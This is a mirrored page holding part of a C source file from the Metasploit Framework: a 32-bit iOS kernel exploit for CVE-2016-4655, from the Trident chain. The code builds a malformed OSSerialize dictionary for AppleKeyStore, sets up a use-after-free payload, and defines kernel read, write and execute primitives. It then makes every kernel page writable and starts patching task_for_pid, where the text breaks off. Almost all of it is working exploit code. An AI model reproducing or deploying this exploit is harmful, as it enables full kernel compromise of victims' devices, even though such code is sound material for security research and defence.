CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2016-4655/exploit32.c
Views: 11780
1
//
2
// exploit.c
3
// Trident
4
//
5
// Created by Benjamin Randazzo on 06/11/2016.
6
// Copyright © 2016 Benjamin Randazzo. All rights reserved.
7
//
8
9
#include <stdio.h>
10
#include <stdlib.h>
11
#include <unistd.h>
12
#include <string.h>
13
#include <assert.h>
14
15
#include <pthread.h>
16
17
#include <sys/syscall.h>
18
#include <sys/kauth.h>
19
#include <sys/stat.h>
20
21
#include <sys/socket.h>
22
#include <netinet/in.h>
23
#include <arpa/inet.h>
24
25
#include <sys/utsname.h>
26
27
#include <mach/mach.h>
28
29
#include <IOKit/IOKitLib.h>
30
31
#include <dlfcn.h>
32
#include <asl.h>
33
34
#include <spawn.h>
35
36
enum
37
{
38
kOSSerializeDictionary = 0x01000000U,
39
kOSSerializeArray = 0x02000000U,
40
kOSSerializeSet = 0x03000000U,
41
kOSSerializeNumber = 0x04000000U,
42
kOSSerializeSymbol = 0x08000000U,
43
kOSSerializeString = 0x09000000U,
44
kOSSerializeData = 0x0a000000U,
45
kOSSerializeBoolean = 0x0b000000U,
46
kOSSerializeObject = 0x0c000000U,
47
kOSSerializeTypeMask = 0x7F000000U,
48
kOSSerializeDataMask = 0x00FFFFFFU,
49
kOSSerializeEndCollecton = 0x80000000U,
50
};
51
52
#define kOSSerializeBinarySignature "\323\0\0"
53
54
#define WRITE_IN(buf, data) do { *(uint32_t *)(buf+bufpos) = (data); bufpos+=4; } while(0)
55
56
typedef void* (*dlopen_ptr)(const char *filename, int flags);
57
typedef void* (*dlsym_ptr)(void *handle, const char *symbol);
58
static dlopen_ptr dlopen_func = 0;
59
static dlsym_ptr dlsym_func = 0;
60
61
#ifdef DEBUG
62
#define debug_print(fmt, ...) \
63
do { asl_log_func(0, 0, ASL_LEVEL_ERR, fmt, __VA_ARGS__); } while (0)
64
#else
65
#define debug_print(fmt, ...)
66
#endif
67
68
#define DLSYM_FUNC(func, library, return_type, args...) \
69
typedef return_type (*func##_ptr)(args); \
70
func##_ptr func##_func = dlsym_func(library, #func); \
71
debug_print("function %s = %p!\n", #func, func##_func);
72
73
#define TTB_SIZE 4096
74
75
#define L1_SECT_S_BIT (1 << 16)
76
#define L1_SECT_PROTO (1 << 1) /* 0b10 */
77
#define L1_SECT_AP_URW (1 << 10) | (1 << 11)
78
#define L1_SECT_APX (1 << 15)
79
#define L1_SECT_DEFPROT (L1_SECT_AP_URW | L1_SECT_APX)
80
#define L1_SECT_SORDER (0) /* 0b00, not cacheable, strongly ordered. */
81
#define L1_SECT_DEFCACHE (L1_SECT_SORDER)
82
#define L1_PROTO_TTE(entry) (entry | L1_SECT_S_BIT | L1_SECT_DEFPROT | L1_SECT_DEFCACHE)
83
84
#define L1_PAGE_PROTO (1 << 0)
85
#define L1_COARSE_PT (0xFFFFFC00)
86
87
#define PT_SIZE 256
88
89
#define L2_PAGE_APX (1 << 9)
90
91
static char *lockfile;
92
static int fd;
93
94
static int fildes[2];
95
static uint32_t cpipe;
96
static uint32_t pipebuf;
97
98
static clock_serv_t clk_battery;
99
static clock_serv_t clk_realtime;
100
101
struct mac_policy_ops{
102
uint32_t mpo_audit_check_postselect;
103
uint32_t mpo_audit_check_preselect;
104
uint32_t mpo_bpfdesc_label_associate;
105
uint32_t mpo_bpfdesc_label_destroy;
106
uint32_t mpo_bpfdesc_label_init;
107
uint32_t mpo_bpfdesc_check_receive;
108
uint32_t mpo_cred_check_label_update_execve;
109
uint32_t mpo_cred_check_label_update;
110
uint32_t mpo_cred_check_visible;
111
uint32_t mpo_cred_label_associate_fork;
112
uint32_t mpo_cred_label_associate_kernel;
113
uint32_t mpo_cred_label_associate;
114
uint32_t mpo_cred_label_associate_user;
115
uint32_t mpo_cred_label_destroy;
116
uint32_t mpo_cred_label_externalize_audit;
117
uint32_t mpo_cred_label_externalize;
118
uint32_t mpo_cred_label_init;
119
uint32_t mpo_cred_label_internalize;
120
uint32_t mpo_cred_label_update_execve;
121
uint32_t mpo_cred_label_update;
122
uint32_t mpo_devfs_label_associate_device;
123
uint32_t mpo_devfs_label_associate_directory;
124
uint32_t mpo_devfs_label_copy;
125
uint32_t mpo_devfs_label_destroy;
126
uint32_t mpo_devfs_label_init;
127
uint32_t mpo_devfs_label_update;
128
uint32_t mpo_file_check_change_offset;
129
uint32_t mpo_file_check_create;
130
uint32_t mpo_file_check_dup;
131
uint32_t mpo_file_check_fcntl;
132
uint32_t mpo_file_check_get_offset;
133
uint32_t mpo_file_check_get;
134
uint32_t mpo_file_check_inherit;
135
uint32_t mpo_file_check_ioctl;
136
uint32_t mpo_file_check_lock;
137
uint32_t mpo_file_check_mmap_downgrade;
138
uint32_t mpo_file_check_mmap;
139
uint32_t mpo_file_check_receive;
140
uint32_t mpo_file_check_set;
141
uint32_t mpo_file_label_init;
142
uint32_t mpo_file_label_destroy;
143
uint32_t mpo_file_label_associate;
144
uint32_t mpo_ifnet_check_label_update;
145
uint32_t mpo_ifnet_check_transmit;
146
uint32_t mpo_ifnet_label_associate;
147
uint32_t mpo_ifnet_label_copy;
148
uint32_t mpo_ifnet_label_destroy;
149
uint32_t mpo_ifnet_label_externalize;
150
uint32_t mpo_ifnet_label_init;
151
uint32_t mpo_ifnet_label_internalize;
152
uint32_t mpo_ifnet_label_update;
153
uint32_t mpo_ifnet_label_recycle;
154
uint32_t mpo_inpcb_check_deliver;
155
uint32_t mpo_inpcb_label_associate;
156
uint32_t mpo_inpcb_label_destroy;
157
uint32_t mpo_inpcb_label_init;
158
uint32_t mpo_inpcb_label_recycle;
159
uint32_t mpo_inpcb_label_update;
160
uint32_t mpo_iokit_check_device;
161
uint32_t mpo_ipq_label_associate;
162
uint32_t mpo_ipq_label_compare;
163
uint32_t mpo_ipq_label_destroy;
164
uint32_t mpo_ipq_label_init;
165
uint32_t mpo_ipq_label_update;
166
uint32_t mpo_file_check_library_validation;
167
uint32_t mpo_vnode_notify_setacl;
168
uint32_t mpo_vnode_notify_setattrlist;
169
uint32_t mpo_vnode_notify_setextattr;
170
uint32_t mpo_vnode_notify_setflags;
171
uint32_t mpo_vnode_notify_setmode;
172
uint32_t mpo_vnode_notify_setowner;
173
uint32_t mpo_vnode_notify_setutimes;
174
uint32_t mpo_vnode_notify_truncate;
175
uint32_t mpo_mbuf_label_associate_bpfdesc;
176
uint32_t mpo_mbuf_label_associate_ifnet;
177
uint32_t mpo_mbuf_label_associate_inpcb;
178
uint32_t mpo_mbuf_label_associate_ipq;
179
uint32_t mpo_mbuf_label_associate_linklayer;
180
uint32_t mpo_mbuf_label_associate_multicast_encap;
181
uint32_t mpo_mbuf_label_associate_netlayer;
182
uint32_t mpo_mbuf_label_associate_socket;
183
uint32_t mpo_mbuf_label_copy;
184
uint32_t mpo_mbuf_label_destroy;
185
uint32_t mpo_mbuf_label_init;
186
uint32_t mpo_mount_check_fsctl;
187
uint32_t mpo_mount_check_getattr;
188
uint32_t mpo_mount_check_label_update;
189
uint32_t mpo_mount_check_mount;
190
uint32_t mpo_mount_check_remount;
191
uint32_t mpo_mount_check_setattr;
192
uint32_t mpo_mount_check_stat;
193
uint32_t mpo_mount_check_umount;
194
uint32_t mpo_mount_label_associate;
195
uint32_t mpo_mount_label_destroy;
196
uint32_t mpo_mount_label_externalize;
197
uint32_t mpo_mount_label_init;
198
uint32_t mpo_mount_label_internalize;
199
uint32_t mpo_netinet_fragment;
200
uint32_t mpo_netinet_icmp_reply;
201
uint32_t mpo_netinet_tcp_reply;
202
uint32_t mpo_pipe_check_ioctl;
203
uint32_t mpo_pipe_check_kqfilter;
204
uint32_t mpo_pipe_check_label_update;
205
uint32_t mpo_pipe_check_read;
206
uint32_t mpo_pipe_check_select;
207
uint32_t mpo_pipe_check_stat;
208
uint32_t mpo_pipe_check_write;
209
uint32_t mpo_pipe_label_associate;
210
uint32_t mpo_pipe_label_copy;
211
uint32_t mpo_pipe_label_destroy;
212
uint32_t mpo_pipe_label_externalize;
213
uint32_t mpo_pipe_label_init;
214
uint32_t mpo_pipe_label_internalize;
215
uint32_t mpo_pipe_label_update;
216
uint32_t mpo_policy_destroy;
217
uint32_t mpo_policy_init;
218
uint32_t mpo_policy_initbsd;
219
uint32_t mpo_policy_syscall;
220
uint32_t mpo_system_check_sysctlbyname;
221
uint32_t mpo_proc_check_inherit_ipc_ports;
222
uint32_t mpo_vnode_check_rename;
223
uint32_t mpo_kext_check_query;
224
uint32_t mpo_iokit_check_nvram_get;
225
uint32_t mpo_iokit_check_nvram_set;
226
uint32_t mpo_iokit_check_nvram_delete;
227
uint32_t mpo_proc_check_expose_task;
228
uint32_t mpo_proc_check_set_host_special_port;
229
uint32_t mpo_proc_check_set_host_exception_port;
230
uint32_t mpo_exc_action_check_exception_send;
231
uint32_t mpo_exc_action_label_associate;
232
uint32_t mpo_exc_action_label_populate;
233
uint32_t mpo_exc_action_label_destroy;
234
uint32_t mpo_exc_action_label_init;
235
uint32_t mpo_exc_action_label_update;
236
uint32_t mpo_reserved1;
237
uint32_t mpo_reserved2;
238
uint32_t mpo_reserved3;
239
uint32_t mpo_reserved4;
240
uint32_t mpo_skywalk_flow_check_connect;
241
uint32_t mpo_skywalk_flow_check_listen;
242
uint32_t mpo_posixsem_check_create;
243
uint32_t mpo_posixsem_check_open;
244
uint32_t mpo_posixsem_check_post;
245
uint32_t mpo_posixsem_check_unlink;
246
uint32_t mpo_posixsem_check_wait;
247
uint32_t mpo_posixsem_label_associate;
248
uint32_t mpo_posixsem_label_destroy;
249
uint32_t mpo_posixsem_label_init;
250
uint32_t mpo_posixshm_check_create;
251
uint32_t mpo_posixshm_check_mmap;
252
uint32_t mpo_posixshm_check_open;
253
uint32_t mpo_posixshm_check_stat;
254
uint32_t mpo_posixshm_check_truncate;
255
uint32_t mpo_posixshm_check_unlink;
256
uint32_t mpo_posixshm_label_associate;
257
uint32_t mpo_posixshm_label_destroy;
258
uint32_t mpo_posixshm_label_init;
259
uint32_t mpo_proc_check_debug;
260
uint32_t mpo_proc_check_fork;
261
uint32_t mpo_proc_check_get_task_name;
262
uint32_t mpo_proc_check_get_task;
263
uint32_t mpo_proc_check_getaudit;
264
uint32_t mpo_proc_check_getauid;
265
uint32_t mpo_proc_check_getlcid;
266
uint32_t mpo_proc_check_mprotect;
267
uint32_t mpo_proc_check_sched;
268
uint32_t mpo_proc_check_setaudit;
269
uint32_t mpo_proc_check_setauid;
270
uint32_t mpo_proc_check_setlcid;
271
uint32_t mpo_proc_check_signal;
272
uint32_t mpo_proc_check_wait;
273
uint32_t mpo_proc_label_destroy;
274
uint32_t mpo_proc_label_init;
275
uint32_t mpo_socket_check_accept;
276
uint32_t mpo_socket_check_accepted;
277
uint32_t mpo_socket_check_bind;
278
uint32_t mpo_socket_check_connect;
279
uint32_t mpo_socket_check_create;
280
uint32_t mpo_socket_check_deliver;
281
uint32_t mpo_socket_check_kqfilter;
282
uint32_t mpo_socket_check_label_update;
283
uint32_t mpo_socket_check_listen;
284
uint32_t mpo_socket_check_receive;
285
uint32_t mpo_socket_check_received;
286
uint32_t mpo_socket_check_select;
287
uint32_t mpo_socket_check_send;
288
uint32_t mpo_socket_check_stat;
289
uint32_t mpo_socket_check_setsockopt;
290
uint32_t mpo_socket_check_getsockopt;
291
uint32_t mpo_socket_label_associate_accept;
292
uint32_t mpo_socket_label_associate;
293
uint32_t mpo_socket_label_copy;
294
uint32_t mpo_socket_label_destroy;
295
uint32_t mpo_socket_label_externalize;
296
uint32_t mpo_socket_label_init;
297
uint32_t mpo_socket_label_internalize;
298
uint32_t mpo_socket_label_update;
299
uint32_t mpo_socketpeer_label_associate_mbuf;
300
uint32_t mpo_socketpeer_label_associate_socket;
301
uint32_t mpo_socketpeer_label_destroy;
302
uint32_t mpo_socketpeer_label_externalize;
303
uint32_t mpo_socketpeer_label_init;
304
uint32_t mpo_system_check_acct;
305
uint32_t mpo_system_check_audit;
306
uint32_t mpo_system_check_auditctl;
307
uint32_t mpo_system_check_auditon;
308
uint32_t mpo_system_check_host_priv;
309
uint32_t mpo_system_check_nfsd;
310
uint32_t mpo_system_check_reboot;
311
uint32_t mpo_system_check_settime;
312
uint32_t mpo_system_check_swapoff;
313
uint32_t mpo_system_check_swapon;
314
uint32_t mpo_socket_check_ioctl;
315
uint32_t mpo_sysvmsg_label_associate;
316
uint32_t mpo_sysvmsg_label_destroy;
317
uint32_t mpo_sysvmsg_label_init;
318
uint32_t mpo_sysvmsg_label_recycle;
319
uint32_t mpo_sysvmsq_check_enqueue;
320
uint32_t mpo_sysvmsq_check_msgrcv;
321
uint32_t mpo_sysvmsq_check_msgrmid;
322
uint32_t mpo_sysvmsq_check_msqctl;
323
uint32_t mpo_sysvmsq_check_msqget;
324
uint32_t mpo_sysvmsq_check_msqrcv;
325
uint32_t mpo_sysvmsq_check_msqsnd;
326
uint32_t mpo_sysvmsq_label_associate;
327
uint32_t mpo_sysvmsq_label_destroy;
328
uint32_t mpo_sysvmsq_label_init;
329
uint32_t mpo_sysvmsq_label_recycle;
330
uint32_t mpo_sysvsem_check_semctl;
331
uint32_t mpo_sysvsem_check_semget;
332
uint32_t mpo_sysvsem_check_semop;
333
uint32_t mpo_sysvsem_label_associate;
334
uint32_t mpo_sysvsem_label_destroy;
335
uint32_t mpo_sysvsem_label_init;
336
uint32_t mpo_sysvsem_label_recycle;
337
uint32_t mpo_sysvshm_check_shmat;
338
uint32_t mpo_sysvshm_check_shmctl;
339
uint32_t mpo_sysvshm_check_shmdt;
340
uint32_t mpo_sysvshm_check_shmget;
341
uint32_t mpo_sysvshm_label_associate;
342
uint32_t mpo_sysvshm_label_destroy;
343
uint32_t mpo_sysvshm_label_init;
344
uint32_t mpo_sysvshm_label_recycle;
345
uint32_t mpo_proc_notify_exit;
346
uint32_t mpo_mount_check_snapshot_revert;
347
uint32_t mpo_vnode_check_getattr;
348
uint32_t mpo_mount_check_snapshot_create;
349
uint32_t mpo_mount_check_snapshot_delete;
350
uint32_t mpo_vnode_check_clone;
351
uint32_t mpo_proc_check_get_cs_info;
352
uint32_t mpo_proc_check_set_cs_info;
353
uint32_t mpo_iokit_check_hid_control;
354
uint32_t mpo_vnode_check_access;
355
uint32_t mpo_vnode_check_chdir;
356
uint32_t mpo_vnode_check_chroot;
357
uint32_t mpo_vnode_check_create;
358
uint32_t mpo_vnode_check_deleteextattr;
359
uint32_t mpo_vnode_check_exchangedata;
360
uint32_t mpo_vnode_check_exec;
361
uint32_t mpo_vnode_check_getattrlist;
362
uint32_t mpo_vnode_check_getextattr;
363
uint32_t mpo_vnode_check_ioctl;
364
uint32_t mpo_vnode_check_kqfilter;
365
uint32_t mpo_vnode_check_label_update;
366
uint32_t mpo_vnode_check_link;
367
uint32_t mpo_vnode_check_listextattr;
368
uint32_t mpo_vnode_check_lookup;
369
uint32_t mpo_vnode_check_open;
370
uint32_t mpo_vnode_check_read;
371
uint32_t mpo_vnode_check_readdir;
372
uint32_t mpo_vnode_check_readlink;
373
uint32_t mpo_vnode_check_rename_from;
374
uint32_t mpo_vnode_check_rename_to;
375
uint32_t mpo_vnode_check_revoke;
376
uint32_t mpo_vnode_check_select;
377
uint32_t mpo_vnode_check_setattrlist;
378
uint32_t mpo_vnode_check_setextattr;
379
uint32_t mpo_vnode_check_setflags;
380
uint32_t mpo_vnode_check_setmode;
381
uint32_t mpo_vnode_check_setowner;
382
uint32_t mpo_vnode_check_setutimes;
383
uint32_t mpo_vnode_check_stat;
384
uint32_t mpo_vnode_check_truncate;
385
uint32_t mpo_vnode_check_unlink;
386
uint32_t mpo_vnode_check_write;
387
uint32_t mpo_vnode_label_associate_devfs;
388
uint32_t mpo_vnode_label_associate_extattr;
389
uint32_t mpo_vnode_label_associate_file;
390
uint32_t mpo_vnode_label_associate_pipe;
391
uint32_t mpo_vnode_label_associate_posixsem;
392
uint32_t mpo_vnode_label_associate_posixshm;
393
uint32_t mpo_vnode_label_associate_singlelabel;
394
uint32_t mpo_vnode_label_associate_socket;
395
uint32_t mpo_vnode_label_copy;
396
uint32_t mpo_vnode_label_destroy;
397
uint32_t mpo_vnode_label_externalize_audit;
398
uint32_t mpo_vnode_label_externalize;
399
uint32_t mpo_vnode_label_init;
400
uint32_t mpo_vnode_label_internalize;
401
uint32_t mpo_vnode_label_recycle;
402
uint32_t mpo_vnode_label_store;
403
uint32_t mpo_vnode_label_update_extattr;
404
uint32_t mpo_vnode_label_update;
405
uint32_t mpo_vnode_notify_create;
406
uint32_t mpo_vnode_check_signature;
407
uint32_t mpo_vnode_check_uipc_bind;
408
uint32_t mpo_vnode_check_uipc_connect;
409
uint32_t mpo_proc_check_run_cs_invalid;
410
uint32_t mpo_proc_check_suspend_resume;
411
uint32_t mpo_thread_userret;
412
uint32_t mpo_iokit_check_set_properties;
413
uint32_t mpo_system_check_chud;
414
uint32_t mpo_vnode_check_searchfs;
415
uint32_t mpo_priv_check;
416
uint32_t mpo_priv_grant;
417
uint32_t mpo_proc_check_map_anon;
418
uint32_t mpo_vnode_check_fsgetpath;
419
uint32_t mpo_iokit_check_open;
420
uint32_t mpo_proc_check_ledger;
421
uint32_t mpo_vnode_notify_rename;
422
uint32_t mpo_vnode_check_setacl;
423
uint32_t mpo_vnode_notify_deleteextattr;
424
uint32_t mpo_system_check_kas_info;
425
uint32_t mpo_vnode_check_lookup_preflight;
426
uint32_t mpo_vnode_notify_open;
427
uint32_t mpo_system_check_info;
428
uint32_t mpo_pty_notify_grant;
429
uint32_t mpo_pty_notify_close;
430
uint32_t mpo_vnode_find_sigs;
431
uint32_t mpo_kext_check_load;
432
uint32_t mpo_kext_check_unload;
433
uint32_t mpo_proc_check_proc_info;
434
uint32_t mpo_vnode_notify_link;
435
uint32_t mpo_iokit_check_filter_properties;
436
uint32_t mpo_iokit_check_get_property;
437
};
438
439
#include "offsets32.c"
440
441
static unsigned char clock_ops_overwrite[] = {
442
0x00, 0x00, 0x00, 0x00, // [00] (rtclock.getattr): address of OSSerializer::serialize (+1)
443
0x00, 0x00, 0x00, 0x00, // [04] (calend_config): NULL
444
0x00, 0x00, 0x00, 0x00, // [08] (calend_init): NULL
445
0x00, 0x00, 0x00, 0x00, // [0C] (calend_gettime): address of calend_gettime (+1)
446
0x00, 0x00, 0x00, 0x00, // [10] (calend_getattr): address of _bufattr_cpx (+1)
447
};
448
449
static unsigned char uaf_payload_buffer[] = {
450
0x00, 0x00, 0x00, 0x00, // [00] ptr to clock_ops_overwrite buffer
451
0x00, 0x00, 0x00, 0x00, // [04] address of clock_ops array in kern memory
452
0x00, 0x00, 0x00, 0x00, // [08] address of _copyin
453
0x00, 0x00, 0x00, 0x00, // [0C] NULL
454
0x00, 0x00, 0x00, 0x00, // [10] address of OSSerializer::serialize (+1)
455
0x00, 0x00, 0x00, 0x00, // [14] address of "BX LR" code fragment
456
0x00, 0x00, 0x00, 0x00, // [18] NULL
457
0x00, 0x00, 0x00, 0x00, // [1C] address of OSSymbol::getMetaClass (+1)
458
0x00, 0x00, 0x00, 0x00, // [20] address of "BX LR" code fragment
459
0x00, 0x00, 0x00, 0x00, // [24] address of "BX LR" code fragment
460
};
461
462
static unsigned char pExploit[128];
463
464
#define PAYLOAD_TO_PEXPLOIT (-76)
465
#define PEXPLOIT_TO_UAF_PAYLOAD 8
466
467
static vm_offset_t vm_kernel_addrperm;
468
469
static uint32_t write_gadget; // address of "str r1, [r0, #0xc] ; bx lr"
470
471
typedef kern_return_t (*clock_get_attributes_ptr)(clock_t clock_name, clock_flavor_t flavor, clock_attr_t attribute, mach_msg_type_number_t attribute_count);
472
static clock_get_attributes_ptr clock_get_attributes_func;
473
474
typedef ssize_t (*read_ptr)(int fd, void *buf, size_t count);
475
static read_ptr read_func;
476
477
typedef ssize_t (*write_ptr)(int fd, const void *buf, size_t count);
478
static write_ptr write_func;
479
480
void *insert_payload(void *ptr)
481
{
482
void* libsystem = dlopen_func("/usr/lib/libSystem.B.dylib", RTLD_NOW);
483
484
#ifdef DEBUG
485
typedef int (*asl_log_ptr)(aslclient asl, aslmsg msg, int level, const char *format, ...);
486
asl_log_ptr asl_log_func = dlsym_func(libsystem, "asl_log");
487
#endif
488
489
typedef void* (*memcpy_ptr)( void * destination, const void * source, size_t num);
490
memcpy_ptr memcpy_func = dlsym_func(libsystem, "memcpy");
491
492
void* libIOKit = dlopen_func("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_NOW);
493
494
typedef CFMutableDictionaryRef (*IOServiceMatching_ptr)(const char *name);
495
IOServiceMatching_ptr IOServiceMatching_func = dlsym_func(libIOKit, "IOServiceMatching");
496
497
typedef io_service_t (*IOServiceGetMatchingService_ptr)(mach_port_t masterPort, CFDictionaryRef matching);
498
IOServiceGetMatchingService_ptr IOServiceGetMatchingService_func = dlsym_func(libIOKit, "IOServiceGetMatchingService");
499
500
typedef mach_port_t (*mach_task_self_ptr)();
501
mach_task_self_ptr mach_task_self_func = dlsym_func(libIOKit, "mach_task_self");
502
503
typedef kern_return_t (*io_service_open_extended_ptr)(mach_port_t service, task_t owningTask, uint32_t connect_type, NDR_record_t ndr, io_buf_ptr_t properties, mach_msg_type_number_t propertiesCnt, kern_return_t *result, mach_port_t *connection);
504
io_service_open_extended_ptr io_service_open_extended_func = dlsym_func(libIOKit, "io_service_open_extended");
505
506
typedef kern_return_t (*IORegistryEntryGetChildIterator_ptr)(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *iterator);
507
IORegistryEntryGetChildIterator_ptr IORegistryEntryGetChildIterator_func = dlsym_func(libIOKit, "IORegistryEntryGetChildIterator");
508
509
typedef kern_return_t (*IOObjectRelease_ptr)(io_object_t object);
510
IOObjectRelease_ptr IOObjectRelease_func = dlsym_func(libIOKit, "IOObjectRelease");
511
512
typedef io_object_t (*IOIteratorNext_ptr)(io_iterator_t iterator);
513
IOIteratorNext_ptr IOIteratorNext_func = dlsym_func(libIOKit, "IOIteratorNext");
514
515
typedef kern_return_t (*IORegistryEntryGetProperty_ptr)(io_registry_entry_t entry, const io_name_t propertyName, io_struct_inband_t buffer, uint32_t *size);
516
IORegistryEntryGetProperty_ptr IORegistryEntryGetProperty_func = dlsym_func(libIOKit, "IORegistryEntryGetProperty");
517
518
char stackAnchor;
519
uint32_t bufpos; // unsigned int size;
520
char buffer[4096];
521
int v26;
522
mach_port_t connection;
523
kern_return_t result;
524
525
char *p = (char *)((unsigned int)&stackAnchor & 0xFFFFF000);
526
// kauth_filesec.fsec_magic
527
*(uint32_t *)(p + 0xEC0) = 0x12CC16D;
528
// kauth_filesec.fsec_acl.entrycount = KAUTH_FILESEC_NOACL
529
*(uint32_t *)(p + 0xEE4) = -1;
530
// kauth_filesec.fsec_acl.acl_ace[...]
531
memcpy_func((void *)(((unsigned int)&stackAnchor & 0xFFFFF000) | 0xEEC), pExploit, 128);
532
533
memcpy_func(buffer, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
534
bufpos = sizeof(kOSSerializeBinarySignature);
535
536
WRITE_IN(buffer, kOSSerializeDictionary | kOSSerializeEndCollecton | 2);
537
538
WRITE_IN(buffer, kOSSerializeSymbol | 128);
539
// "ararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararara"
540
for (v26=0; v26<124; v26+=4) {
541
WRITE_IN(buffer, 0x72617261);
542
}
543
WRITE_IN(buffer, 0x00617261);
544
WRITE_IN(buffer, kOSSerializeNumber | 2048);
545
WRITE_IN(buffer, 0x00000004);
546
WRITE_IN(buffer, 0X00000000);
547
548
WRITE_IN(buffer, kOSSerializeSymbol | 30);
549
WRITE_IN(buffer, 0x4b444948); // "HIDKeyboardModifierMappingDst"
550
WRITE_IN(buffer, 0x6f627965);
551
WRITE_IN(buffer, 0x4d647261);
552
WRITE_IN(buffer, 0x6669646f);
553
WRITE_IN(buffer, 0x4d726569);
554
WRITE_IN(buffer, 0x69707061);
555
WRITE_IN(buffer, 0x7344676e);
556
WRITE_IN(buffer, 0x00000074);
557
WRITE_IN(buffer, kOSSerializeNumber | kOSSerializeEndCollecton | 32);
558
WRITE_IN(buffer, 0x00000193);
559
WRITE_IN(buffer, 0x00000000);
560
561
io_service_t service = IOServiceGetMatchingService_func(0, IOServiceMatching_func("AppleKeyStore"));
562
563
NDR_record_t* NDR_record_lookup = dlsym_func(libIOKit, "NDR_record");
564
io_service_open_extended_func(service, mach_task_self_func(), 0, *NDR_record_lookup, buffer, bufpos, &result, &connection);
565
if (result != KERN_SUCCESS) {
566
debug_print("%s\n", "io_service_open_extended fail");
567
return NULL;
568
}
569
570
io_object_t object = 0;
571
uint32_t size = sizeof(buffer);
572
io_iterator_t iterator;
573
IORegistryEntryGetChildIterator_func(service, "IOService", &iterator);
574
uint32_t *args = (uint32_t *)ptr;
575
uint32_t kernel_base = *args;
576
uint32_t payload_ptr = 0;
577
578
do {
579
if (object) {
580
IOObjectRelease_func(object);
581
}
582
object = IOIteratorNext_func(iterator);
583
} while (IORegistryEntryGetProperty_func(object, "ararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararara", buffer, &size));
584
585
if (size > 8) {
586
payload_ptr = *(uint32_t *)(buffer+16);
587
}
588
589
*(uint32_t *)clock_ops_overwrite = kernel_base + find_OSSerializer_serialize() + 1;
590
*(uint32_t *)(clock_ops_overwrite+0xC) = kernel_base + find_calend_gettime() + 1;
591
*(uint32_t *)(clock_ops_overwrite+0x10) = kernel_base + find_bufattr_cpx() + 1;
592
593
*(uint32_t *)uaf_payload_buffer = (uint32_t)clock_ops_overwrite;
594
*(uint32_t *)(uaf_payload_buffer+0x4) = kernel_base + find_clock_ops();
595
*(uint32_t *)(uaf_payload_buffer+0x8) = kernel_base + find_copyin();
596
*(uint32_t *)(uaf_payload_buffer+0x10) = kernel_base + find_OSSerializer_serialize() + 1;
597
*(uint32_t *)(uaf_payload_buffer+0x14) = kernel_base + find_bx_lr();
598
*(uint32_t *)(uaf_payload_buffer+0x1C) = kernel_base + find_OSSymbol_getMetaClass() + 1;
599
*(uint32_t *)(uaf_payload_buffer+0x20) = kernel_base + find_bx_lr();
600
*(uint32_t *)(uaf_payload_buffer+0x24) = kernel_base + find_bx_lr();
601
602
memcpy_func(pExploit+PEXPLOIT_TO_UAF_PAYLOAD, uaf_payload_buffer, sizeof(uaf_payload_buffer));
603
memcpy_func(pExploit+PEXPLOIT_TO_UAF_PAYLOAD+sizeof(uaf_payload_buffer), clock_ops_overwrite, sizeof(clock_ops_overwrite));
604
605
// kauth_filesec.fsec_acl.acl_ace[...]
606
memcpy_func((void *)(((unsigned int)&stackAnchor & 0xFFFFF000) | 0xEEC), pExploit, 128);
607
608
*(uint32_t *)(args[1]) = payload_ptr;
609
610
asm_syscall(SYS_open_extended, (long)lockfile, O_WRONLY | O_EXLOCK, KAUTH_UID_NONE, KAUTH_GID_NONE, 0644, (long)(p + 0xEC0));
611
return NULL;
612
613
}
614
615
616
uint32_t read_primitive(uint32_t addr) {
617
int attr;
618
unsigned int attrCnt;
619
620
return clock_get_attributes_func(clk_battery, addr, &attr, (mach_msg_type_number_t)&attrCnt);
621
}
622
623
void exec_primitive(uint32_t fct, uint32_t arg1, uint32_t arg2) {
624
int attr;
625
unsigned int attrCnt;
626
char data[64];
627
628
write_func(fildes[1], "AAAABBBB", 8);
629
write_func(fildes[1], &arg1, 4);
630
write_func(fildes[1], &arg2, 4);
631
write_func(fildes[1], &fct, 4);
632
clock_get_attributes_func(clk_realtime, pipebuf, &attr, (mach_msg_type_number_t)&attrCnt);
633
634
read_func(fildes[0], data, 64);
635
}
636
637
void write_primitive(uint32_t addr, uint32_t value) {
638
addr -= 0xc;
639
exec_primitive(write_gadget, addr, value);
640
}
641
642
void patch_kernel_pmap(uint32_t kernel_base) {
643
uint32_t kernel_pmap = find_kernel_pmap() + kernel_base;
644
uint32_t kernel_pmap_store = read_primitive(kernel_pmap);
645
uint32_t tte_virt = read_primitive(kernel_pmap_store);
646
uint32_t tte_phys = read_primitive(kernel_pmap_store+4);
647
648
/*printf("kernel pmap store @ 0x%08x\n", kernel_pmap_store);*/
649
/*printf("kernel pmap tte is at VA 0x%08x PA 0x%08x\n", tte_virt, tte_phys);*/
650
651
/* every page is writable */
652
uint32_t i;
653
uint32_t j;
654
for (i=0; i<TTB_SIZE; i++) {
655
uint32_t addr = tte_virt+(i<<2);
656
uint32_t entry = read_primitive(addr);
657
if ((entry & L1_PAGE_PROTO) == L1_PAGE_PROTO) {
658
uint32_t page_entry = ((entry & L1_COARSE_PT) - tte_phys) + tte_virt;
659
for (j=0; j<PT_SIZE; j++) {
660
uint32_t addr2 = page_entry+(j<<2);
661
uint32_t entry2 = read_primitive(addr2);
662
if (entry2) {
663
uint32_t new_entry2 = (entry2 & (~L2_PAGE_APX));
664
write_primitive(addr2, new_entry2);
665
}
666
}
667
} else if ((entry & L1_SECT_PROTO) == L1_SECT_PROTO) {
668
uint32_t new_entry = L1_PROTO_TTE(entry);
669
new_entry &= ~L1_SECT_APX;
670
write_primitive(addr, new_entry);
671
}
672
}
673
674
uint32_t flush_dcache = find_flush_dcache() + kernel_base;
675
exec_primitive(flush_dcache, 0, 0);
676
677
uint32_t invalidate_tlb = find_invalidate_tlb() + kernel_base;
678
exec_primitive(invalidate_tlb, 0, 0);
679
}
680
681
void patch_task_for_pid(uint32_t kernel_base) {
682
uint32_t task_for_pid_base = find_task_for_pid() + kernel_base;
683
684
uint32_t pid_check_addr = find_pid_check() + task_for_pid_base;
685
